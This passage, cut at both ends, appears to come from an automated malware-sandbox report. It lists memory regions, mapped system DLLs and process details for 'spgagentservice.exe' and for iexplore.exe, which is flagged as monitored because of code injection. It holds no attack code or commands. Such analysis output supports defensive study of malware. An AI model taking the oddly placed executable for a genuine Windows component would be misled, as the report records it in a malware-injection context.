"pagefile_0x0000000000010000" filename = "" Region: id = 6113 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 6114 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 6115 start_va = 0x50000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 6116 start_va = 0x90000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 6117 start_va = 0x190000 end_va = 0x193fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 6118 start_va = 0x1a0000 end_va = 0x1a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 6119 start_va = 0x1b0000 end_va = 0x1b1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 6120 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 6121 start_va = 0x400000 end_va = 0x4bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 6122 start_va = 0x4c0000 end_va = 0x4c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 6123 start_va = 0x520000 end_va = 0x52ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000520000" filename = "" Region: id = 6124 start_va = 0x530000 end_va = 0x533fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000530000" filename = "" Region: id = 6125 start_va = 0x540000 end_va = 0x543fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 6126 start_va = 0x570000 end_va = 0x66ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 6127 start_va = 0x770000 end_va = 0x8f7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000770000" filename = "" Region: id = 6128 start_va = 0x900000 end_va = 0xa80fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000900000" filename = "" Region: id = 6129 start_va = 0xa90000 end_va = 0xb4bfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a90000" filename = "" Region: id = 6130 start_va = 0xba0000 end_va = 0xbaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ba0000" filename = "" Region: id = 6131 start_va = 0xda0000 end_va = 0xdaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000da0000" filename = "" Region: id = 6132 start_va = 0x1360000 end_va = 0x1376fff monitored = 0 entry_point = 0x13614a1 region_type = mapped_file name = "spgagentservice.exe" filename = "\\Program Files\\Windows Multimedia Platform\\spgagentservice.exe" (normalized: "c:\\program files\\windows multimedia platform\\spgagentservice.exe") Region: id = 6133 start_va = 0x1380000 end_va = 0x277ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001380000" filename = "" Region: id = 6134 start_va = 0x65670000 end_va = 0x656e9fff monitored = 0 entry_point = 0x65683290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 6135 start_va = 0x656f0000 end_va = 0x6573ffff monitored = 0 entry_point = 0x65708180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 6136 start_va = 0x65740000 end_va = 0x65747fff monitored = 0 entry_point = 0x657417c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 6137 start_va = 0x73e00000 end_va = 0x73e1cfff monitored = 0 entry_point = 0x73e03b10 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 6138 start_va = 0x73e20000 end_va = 0x73e94fff monitored = 0 entry_point = 0x73e59a60 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 6139 start_va = 0x73ea0000 end_va = 0x73f31fff monitored = 0 entry_point = 0x73ee0380 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 6140 start_va = 0x73f40000 end_va = 0x73f49fff monitored = 0 entry_point = 0x73f42a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 6141 start_va = 0x73f50000 end_va = 0x73f6dfff monitored = 0 entry_point = 0x73f5b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 6142 start_va = 0x74250000 end_va = 0x7439efff monitored = 0 entry_point = 0x74306820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 6143 start_va = 0x74920000 end_va = 0x74a9dfff monitored = 0 entry_point = 0x749d1b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 6144 start_va = 0x74c10000 end_va = 0x74d56fff monitored = 0 entry_point = 0x74c21cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 6145 start_va = 0x75420000 end_va = 0x755dcfff monitored = 0 entry_point = 0x75502a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 6146 start_va = 0x755e0000 end_va = 0x75637fff monitored = 0 entry_point = 0x756225c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 6147 start_va = 0x75640000 end_va = 0x756fdfff monitored = 0 entry_point = 0x75675630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 6148 start_va = 0x757e0000 end_va = 0x7580afff monitored = 0 entry_point = 0x757e5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 6149 start_va = 0x75900000 end_va = 0x75943fff monitored = 0 entry_point = 0x75919d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 6150 start_va = 0x75ad0000 end_va = 0x75b7cfff monitored = 0 entry_point = 0x75ae4f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 6151 start_va = 0x75b80000 end_va = 0x75c9efff monitored = 0 entry_point = 0x75bc5980 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 6152 start_va = 0x770a0000 end_va = 0x7717ffff monitored = 0 entry_point = 0x770b3980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 6153 start_va = 0x77220000 end_va = 0x7739afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 6154 start_va = 0x7ee60000 end_va = 0x7ef5ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007ee60000" filename = "" Region: id = 6155 start_va = 0x7ef60000 end_va = 0x7ef82fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007ef60000" filename = "" Region: id = 6156 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 6157 start_va = 0x7fff0000 end_va = 0x7ffff079ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 6158 start_va = 0x7ffff07a0000 end_va = 0x7ffff0960fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 6159 start_va = 0x7ffff0961000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffff0961000" filename = "" Thread: id = 295 os_tid = 0x105c Thread: id = 296 os_tid = 0x100c Process: id = "77" image_name = "iexplore.exe" filename = "c:\\program files (x86)\\internet explorer\\iexplore.exe" page_root = "0x5a824000" os_pid = "0x107c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "12" os_parent_pid = "0x8ec" cmd_line = "\"C:\\Program Files (x86)\\Internet Explorer\\IEXPLORE.EXE\" SCODEF:2284 CREDAT:82945 /prefetch:2" cur_dir = "C:\\Users\\RDhJ0CNFevzX\\Desktop\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ebd3" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1971 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1972 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 1973 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1974 start_va = 0x50000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 1975 start_va = 0x90000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 1976 start_va = 0x190000 end_va = 0x193fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 1977 start_va = 0x1a0000 end_va = 0x1a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 1978 start_va = 0x1b0000 end_va = 0x1b1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 1979 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 1980 start_va = 0x400000 end_va = 0x4bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1981 start_va = 0x4c0000 end_va = 0x4c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 1982 start_va = 0x4d0000 end_va = 0x4d1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004d0000" filename = "" Region: id = 1983 start_va = 0x4e0000 end_va = 0x4e1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004e0000" filename = "" Region: id = 1984 start_va = 0x4f0000 end_va = 0x52ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004f0000" filename = "" Region: id = 1985 start_va = 0x530000 end_va = 0x530fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000530000" filename = "" Region: id = 1986 start_va = 0x540000 end_va = 0x540fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1987 start_va = 0x550000 end_va = 0x55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 1988 start_va = 0x660000 end_va = 0x7e7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000660000" filename = "" Region: id = 1989 start_va = 0x7f0000 end_va = 0x970fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007f0000" filename = "" Region: id = 1990 start_va = 0x980000 end_va = 0xa7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000980000" filename = "" Region: id = 1991 start_va = 0xa80000 end_va = 0xabffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a80000" filename = "" Region: id = 1992 start_va = 0xac0000 end_va = 0xbbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ac0000" filename = "" Region: id = 1993 start_va = 0xbc0000 end_va = 0xbfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000bc0000" filename = "" Region: id = 1994 start_va = 0xc00000 end_va = 0xcfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c00000" filename = "" Region: id = 1995 start_va = 0xd00000 end_va = 0xd3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d00000" filename = "" Region: id = 1996 start_va = 0xd40000 end_va = 0xd7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d40000" filename = "" Region: id = 1997 start_va = 0xd80000 end_va = 0xdbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d80000" filename = "" Region: id = 1998 start_va = 0xdc0000 end_va = 0xdfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000dc0000" filename = "" Region: id = 1999 start_va = 0xe00000 end_va = 0xec9fff monitored = 0 entry_point = 0xe03a40 region_type = mapped_file name = "iexplore.exe" filename = "\\Program Files (x86)\\Internet Explorer\\iexplore.exe" (normalized: "c:\\program files (x86)\\internet explorer\\iexplore.exe") Region: id = 2000 start_va = 0xed0000 end_va = 0x4ecffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ed0000" filename = "" Region: id = 2001 start_va = 0x4ed0000 end_va = 0x4ed3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004ed0000" filename = "" Region: id = 2002 start_va = 0x4ee0000 end_va = 0x4ee1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iexplore.exe.mui" filename = "\\Program Files (x86)\\Internet Explorer\\en-US\\iexplore.exe.mui" (normalized: "c:\\program files (x86)\\internet explorer\\en-us\\iexplore.exe.mui") Region: id = 2003 start_va = 0x4ef0000 end_va = 0x4ef0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004ef0000" filename = "" Region: id = 2004 start_va = 0x4f00000 end_va = 0x4f00fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004f00000" filename = "" Region: id = 2005 start_va = 0x4f10000 end_va = 0x4f13fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004f10000" filename = "" Region: id = 2006 start_va = 0x4f20000 end_va = 0x501ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004f20000" filename = "" Region: id = 2007 start_va = 0x5020000 end_va = 0x503ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005020000" filename = "" Region: id = 2008 start_va = 0x5040000 end_va = 0x5040fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005040000" filename = "" Region: id = 2009 start_va = 0x5050000 end_va = 0x5050fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005050000" filename = "" Region: id = 2010 start_va = 0x5060000 end_va = 0x5060fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005060000" filename = "" Region: id = 2011 start_va = 0x5070000 end_va = 0x5070fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "counters.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\counters.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\inetcache\\counters.dat") Region: id = 2012 start_va = 0x5080000 end_va = 0x5080fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005080000" filename = "" Region: id = 2013 start_va = 0x5090000 end_va = 0x509ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005090000" filename = "" Region: id = 2014 start_va = 0x50a0000 end_va = 0x50affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000050a0000" filename = "" Region: id = 2015 start_va = 0x50b0000 end_va = 0x50b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000050b0000" filename = "" Region: id = 2016 start_va = 0x50c0000 end_va = 0x50cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000050c0000" filename = "" Region: id = 2017 start_va = 0x50d0000 end_va = 0x51cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000050d0000" filename = "" Region: id = 2018 start_va = 0x51d0000 end_va = 0x65cffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000051d0000" filename = "" Region: id = 2019 start_va = 0x65d0000 end_va = 0x6906fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2020 start_va = 0x6910000 end_va = 0x6a0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006910000" filename = "" Region: id = 2021 start_va = 0x6a10000 end_va = 0x6acbfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000006a10000" filename = "" Region: id = 2022 start_va = 0x6ad0000 end_va = 0x6ad3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000006ad0000" filename = "" Region: id = 2023 start_va = 0x6ae0000 end_va = 0x6aeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006ae0000" filename = "" Region: id = 2024 start_va = 0x6af0000 end_va = 0x6afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006af0000" filename = "" Region: id = 2025 start_va = 0x6b00000 end_va = 0x6bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006b00000" filename = "" Region: id = 2026 start_va = 0x6c00000 end_va = 0x6dfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006c00000" filename = "" Region: id = 2027 start_va = 0x6e00000 end_va = 0x6e00fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000006e00000" filename = "" Region: id = 2028 start_va = 0x6e10000 end_va = 0x6e10fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000006e10000" filename = "" Region: id = 2029 start_va = 0x6e20000 end_va = 0x6e20fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000006e20000" filename = "" Region: id = 2030 start_va = 0x6e30000 end_va = 0x6f2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006e30000" filename = "" Region: id = 2031 start_va = 0x6f30000 end_va = 0x702ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006f30000" filename = "" Region: id = 2032 start_va = 0x7030000 end_va = 0x71b7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ieframe.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\ieframe.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\ieframe.dll.mui") Region: id = 2033 start_va = 0x71c0000 end_va = 0x71c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000071c0000" filename = "" Region: id = 2034 start_va = 0x71d0000 end_va = 0x724ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000071d0000" filename = "" Region: id = 2035 start_va = 0x7250000 end_va = 0x7250fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000007250000" filename = "" Region: id = 2036 start_va = 0x7260000 end_va = 0x7260fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000007260000" filename = "" Region: id = 2037 start_va = 0x7270000 end_va = 0x7270fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000007270000" filename = "" Region: id = 2038 start_va = 0x7280000 end_va = 0x7283fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007280000" filename = "" Region: id = 2039 start_va = 0x7290000 end_va = 0x7296fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007290000" filename = "" Region: id = 2040 start_va = 0x72a0000 end_va = 0x72a1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000072a0000" filename = "" Region: id = 2041 start_va = 0x72b0000 end_va = 0x72effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000072b0000" filename = "" Region: id = 2042 start_va = 0x72f0000 end_va = 0x733ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000072f0000" filename = "" Region: id = 2043 start_va = 0x7340000 end_va = 0x737ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007340000" filename = "" Region: id = 2044 start_va = 0x7380000 end_va = 0x747ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007380000" filename = "" Region: id = 2045 start_va = 0x7480000 end_va = 0x749ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007480000" filename = "" Region: id = 2046 start_va = 0x74a0000 end_va = 0x74dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000074a0000" filename = "" Region: id = 2047 start_va = 0x74e0000 end_va = 0x752ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000074e0000" filename = "" Region: id = 2048 start_va = 0x7530000 end_va = 0x754ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007530000" filename = "" Region: id = 2049 start_va = 0x7550000 end_va = 0x758ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007550000" filename = "" Region: id = 2050 start_va = 0x7590000 end_va = 0x768ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007590000" filename = "" Region: id = 2051 start_va = 0x7690000 end_va = 0x76affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007690000" filename = "" Region: id = 2052 start_va = 0x76b0000 end_va = 0x76cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000076b0000" filename = "" Region: id = 2053 start_va = 0x76d0000 end_va = 0x76effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000076d0000" filename = "" Region: id = 2054 start_va = 0x76f0000 end_va = 0x76f2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000076f0000" filename = "" Region: id = 2055 start_va = 0x7700000 end_va = 0x7746fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mshtml.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\mshtml.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\mshtml.dll.mui") Region: id = 2056 start_va = 0x7750000 end_va = 0x7752fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000007750000" filename = "" Region: id = 2057 start_va = 0x7760000 end_va = 0x779ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007760000" filename = "" Region: id = 2058 start_va = 0x77a0000 end_va = 0x789ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000077a0000" filename = "" Region: id = 2059 start_va = 0x78a0000 end_va = 0x78a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000078a0000" filename = "" Region: id = 2060 start_va = 0x78b0000 end_va = 0x78bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000078b0000" filename = "" Region: id = 2061 start_va = 0x78c0000 end_va = 0x78fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000078c0000" filename = "" Region: id = 2062 start_va = 0x7900000 end_va = 0x79fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007900000" filename = "" Region: id = 2063 start_va = 0x7a00000 end_va = 0x7a2dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000007a00000" filename = "" Region: id = 2064 start_va = 0x7a30000 end_va = 0x7a30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007a30000" filename = "" Region: id = 2065 start_va = 0x7a40000 end_va = 0x7a40fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007a40000" filename = "" Region: id = 2066 start_va = 0x7a50000 end_va = 0x7a8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007a50000" filename = "" Region: id = 2067 start_va = 0x7a90000 end_va = 0x7b8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007a90000" filename = "" Region: id = 2068 start_va = 0x7b90000 end_va = 0x7bcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007b90000" filename = "" Region: id = 2069 start_va = 0x7bd0000 end_va = 0x7ccffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007bd0000" filename = "" Region: id = 2070 start_va = 0x7cd0000 end_va = 0x7cd0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000007cd0000" filename = "" Region: id = 2071 start_va = 0x7ce0000 end_va = 0x7d1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007ce0000" filename = "" Region: id = 2072 start_va = 0x7d20000 end_va = 0x7e1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007d20000" filename = "" Region: id = 2073 start_va = 0x7e20000 end_va = 0x7e20fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000007e20000" filename = "" Region: id = 2074 start_va = 0x7e40000 end_va = 0x7e4ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000007e40000" filename = "" Region: id = 2075 start_va = 0x7e50000 end_va = 0x7e8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007e50000" filename = "" Region: id = 2076 start_va = 0x7e90000 end_va = 0x808ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007e90000" filename = "" Region: id = 2077 start_va = 0x8090000 end_va = 0x8091fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008090000" filename = "" Region: id = 2078 start_va = 0x80b0000 end_va = 0x81affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000080b0000" filename = "" Region: id = 2079 start_va = 0x81b0000 end_va = 0x81b0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000081b0000" filename = "" Region: id = 2080 start_va = 0x81c0000 end_va = 0x81c2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000081c0000" filename = "" Region: id = 2081 start_va = 0x82b0000 end_va = 0x82effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000082b0000" filename = "" Region: id = 2082 start_va = 0x82f0000 end_va = 0x84effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000082f0000" filename = "" Region: id = 2083 start_va = 0x84f0000 end_va = 0x84f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000084f0000" filename = "" Region: id = 2084 start_va = 0x8500000 end_va = 0x8500fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000008500000" filename = "" Region: id = 2085 start_va = 0x8510000 end_va = 0x8510fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000008510000" filename = "" Region: id = 2086 start_va = 0x8520000 end_va = 0x853ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008520000" filename = "" Region: id = 2087 start_va = 0x8540000 end_va = 0x857ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008540000" filename = "" Region: id = 2088 start_va = 0x8580000 end_va = 0x85cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008580000" filename = "" Region: id = 2089 start_va = 0x85d0000 end_va = 0x85effff monitored = 1 entry_point = 0x0 region_type = private name = 